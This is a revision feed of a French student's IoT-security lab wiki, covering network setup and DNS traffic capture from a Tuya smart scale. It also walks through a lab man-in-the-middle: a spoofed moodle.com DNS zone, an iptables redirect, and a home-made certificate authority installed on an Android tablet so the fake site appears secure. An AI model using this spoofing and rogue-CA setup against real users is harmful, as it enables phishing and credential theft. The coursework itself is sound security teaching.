12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10859</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10859"/>
		<updated>2025-11-18T16:33:43Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10857</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10857"/>
		<updated>2025-11-18T15:47:00Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
